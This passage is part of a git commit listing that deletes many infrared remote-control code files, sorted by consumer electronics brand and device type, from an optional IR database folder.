assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Receiver/18,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown/127,0.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_AIWA-RC-5VP05/127,0.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_AIWA/110,0.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_AIWA/118,0.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_AIWA/127,0.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_AIWA/72,0.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_AWIA-RC-ZVR04/128,123.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_HIFI/112,0.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-6AS07/112,0.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-7AS06/110,0.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-8AS04/110,0.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-8AT02/110,0.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-AVT02/123,0.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-BVR02/110,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-C105/118,0.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-CAS10/110,0.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-L01/112,0.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-L60E/110,0.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-T503/110,0.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-T504/110,0.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-TD3/112,0.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-TN320EX/110,0.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-TN330/110,0.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-TN360/110,0.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-TN500EX/110,0.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-TN520EX/110,0.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-X97/134,19.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-XR-MD201/110,0.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-ZAS02/110,0.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-ZAS10/110,0.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-ZAT04/112,0.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-ZVR02/127,0.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_S79/72,0.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_hu/112,0.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_rc-c003/118,0.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_rc-tn380b/110,0.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_rc-tz650/110,0.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_rc6as14/110,0.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/VCR/127,0.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/VCR/130,111.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Akai/CD Player/141,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Akai/Unknown_AKAI-RC-AAV2100/160,160.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Akai/Unknown_Akai-RC-61A/11,11.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Akai/Unknown_Akai-RC-V23E/137,119.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Akai/Unknown_RC-C79/141,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Akai/Unknown_RC-W152E/137,119.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Akai/Unknown_akai/131,101.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Akai/Unknown_akai/139,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Akai/Unknown_rc-c37/141,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Antex Electronics/Satellite Radio/26,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aopen/Media PC/4,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aopen/Unknown_RC-R470/4,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Apex/DVD Player/4,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Apex/Unknown_AD-600A/4,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Apex/Unknown_DV-R200/0,238.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Apex/Unknown_DV-R383/0,238.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Apex/Unknown_K12B-C2/64,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Apex/Unknown_K12K-C5/64,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Apex/Unknown_RM-1200/4,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Apex/Unknown_RM-2600/1,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Apple/Apple TV/238,135.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Apple/Computer/238,135.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Apple/Digital Jukebox/238,135.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Apple/MP3 Player/1,222.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Apple/MP3 Player/238,135.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Apple/Unknown_CD/14,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Apple/iPod/238,135.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aragon/Pre-Amplifier/25,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aragon/Pre-Amplifier/31,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Arcam/CD Player/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Arcam/CD Player/16,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Arcam/CD Player/20,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Arcam/DVD Player/16,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Arcam/DVD Player/25,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Arcam/Music System/16,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Arcam/Music System/17,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Arcam/Music System/20,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Arcam/Pre-Amplifier/16,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Arcam/Receiver/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Arcam/Receiver/16,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Arcam/Receiver/17,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Arcam/Receiver/19,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Arcam/Receiver/23,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Arcam/Receiver/25,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Arcam/Surround Receiver/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Arcam/Surround Receiver/16,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Arcam/Surround Receiver/25,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Arcam/Tuner/17,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Arcam/Unknown_AV200/16,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Arcam/Unknown_Arcam/16,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Architectural Audio/Amplifier/132,132.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Architectural Audio/Multi-Zone Receiver/130,130.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aristona/Unknown_5525/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aristona/Unknown_9067/5,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Arrakis Systems/CD Jukebox/103,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Arrakis Systems/CD Jukebox/39,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Arrakis Systems/CD Jukebox/71,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Askey/Unknown_AS-218/134,107.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aspire Digital/Unknown_Digital/8,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Astro/Satellite/8,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Astro/Unknown_ASR340/0,253.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Asus/Unknown_Digital/0,239.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Asus/Unknown_RC1974502/4,15.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Asus/Unknown_TVBox/134,107.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aten/Unknown_VS-431/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Atlanta DTH/Unknown_DTH/5,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Atlantic Technology/Surround Processor/131,95.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Atlantic Technology/Surround Processor/64,64.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Atlantic Technology/Surround Processor/7,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Atlas/Unknown_8776/8,0.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Atlona/Matrix Switcher/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Atlona/Matrix Switcher/134,107.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Atlona/Switcher/134,107.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Audio Access/Pre-Amplifier/133,83.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Audio Access/Zone Controller/133,83.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Audio Access/Zone Controller/4,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Audio Authority/HDMI Switcher/134,107.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Audio Authority/IR to Bluetooth/26,218.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Audio Authority/IR to Bluetooth/26,73.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Audio Authority/Switcher/64,159.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Audio Control/Pre-Amplifier/16,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Audio Control/Pre-Amplifier/17,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Audio Control/Pre-Amplifier/23,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Audio Control/Processor/16,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Audio Control/Receiver/16,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Audio Control/Receiver/17,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Audio Control/Receiver/23,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Audio Refinement/Amplifier/20,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Audio Refinement/CD Player/20,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Audio Refinement/Tuner/20,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Audio Research/Pre-Amplifier/7,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/AudioSource/Unknown_SS-Three/6,1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Audiola/DEC654_DVB-T/8,247.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Audiovox/Monitor/128,126.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Audiovox/Unknown_SIR/16,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Audiovox/Unknown_Sirius/16,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Austar/Cable Box/32,224.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/AutumnWave/Unknown_Onair/8,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Avermedia/Unknown_AVerTV5/0,237.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Avermedia/Unknown_Avermedia/64,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Avermedia/Unknown_RM-H7/0,237.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Avermedia/Unknown_RM-KV/4,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Avex/Unknown_AVEX-AV5609/5,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Avex/Unknown_AVEX-RC501/5,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Avtoolbox/Unknown_hdswitch/32,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Axion/Unknown_AXN-6075/2,255.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Axonix/DVD Player/17,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Axonix/Media Server/17,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Axonix/MediaMax/17,20.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Ayre/Amplifier/16,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/AzBox/Unknown_S700/1,4.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/B.A.T/Pre-Amplifier/16,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BBK/Unknown_PV400s/80,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BBK/Unknown_Popcorn/4,203.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BBK/Unknown_RC022-03R/73,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BORK/Unknown_DV/8,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BTX/Drapery Controller/145,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BTX/Drapery Controller/146,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BTX/Drapery Controller/147,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BTX/Drapery Controller/148,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BTX/Drapery Controller/193,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BTX/Drapery Controller/194,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BTX/Drapery Controller/195,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BTX/Drapery Controller/196,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BTX/Drapery Controller/81,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BTX/Drapery Controller/82,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BTX/Drapery Controller/83,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BTX/Drapery Controller/84,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bang Olufsen/CD Player/26,73.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Barco/Unknown_barcoRC5/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Barco/Video Projector/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Barco/Video Projector/18,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Barix/CD Jukebox/0,127.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Beko/Unknown_Beko/7,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Beko/Unknown_TV/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Belkin/Unknown_F5X019/27,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bell ExpressVu/HD DVR/0,0.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bell ExpressVu/HD DVR/1,0.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bell ExpressVu/HD DVR/12,0.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bell ExpressVu/HD DVR/7,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bell ExpressVu/Satellite/0,0.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bell ExpressVu/Satellite/1,0.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bell ExpressVu/Satellite/16,0.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bell/Satellite/0,0.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bell/Satellite/0,1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bell/Satellite/0,2.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bell/Satellite/1,0.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bell/Satellite/1,1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bell/Satellite/1,2.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bell/Satellite/128,0.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bell/Satellite/16,1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bell/Satellite/24,0.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bell/Satellite/7,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bellagio/Unknown_P807/32,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BenQ/DLP Projector/48,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BenQ/Projector/48,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BenQ/Projector/72,80.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BenQ/Unknown_DV3080/96,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BenQ/Unknown_MP620/0,48.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BenQ/Unknown_W1070/0,48.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bench/Unknown_kh2800/48,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Big Ben/Game Console/67,164.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bluesky/Unknown_DV900/5,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/2-Channel Preamp/11,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/2-Channel Preamp/11,79.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/6 Zone Receiver/11,79.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/6 Zone Receiver/123,72.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/6 Zone Receiver/139,71.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/6 Zone Receiver/187,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/6 Zone Receiver/203,67.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/6 Zone Receiver/219,66.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/6 Zone Receiver/242,208.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/6 Zone Receiver/243,192.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/6 Zone Receiver/251,64.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/6 Zone Receiver/27,78.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/6 Zone Receiver/43,77.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/6 Zone Receiver/59,76.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/6 Zone Receiver/75,75.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/6 Zone Receiver/91,74.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/103,137.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/108,57.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/111,9.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/119,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/123,72.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/127,8.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/128,247.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/135,135.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/143,7.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/15,15.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/159,6.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/167,133.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/172,53.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/183,132.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/187,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/192,243.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/199,131.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/204,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/219,66.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/223,2.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/23,142.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/239,1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/242,208.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/243,192.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/247,128.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/251,64.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/255,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/31,14.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/39,141.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/44,61.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/55,140.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/59,76.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/63,12.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/64,251.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/7,143.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/71,139.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/76,59.ir delete mode 100644 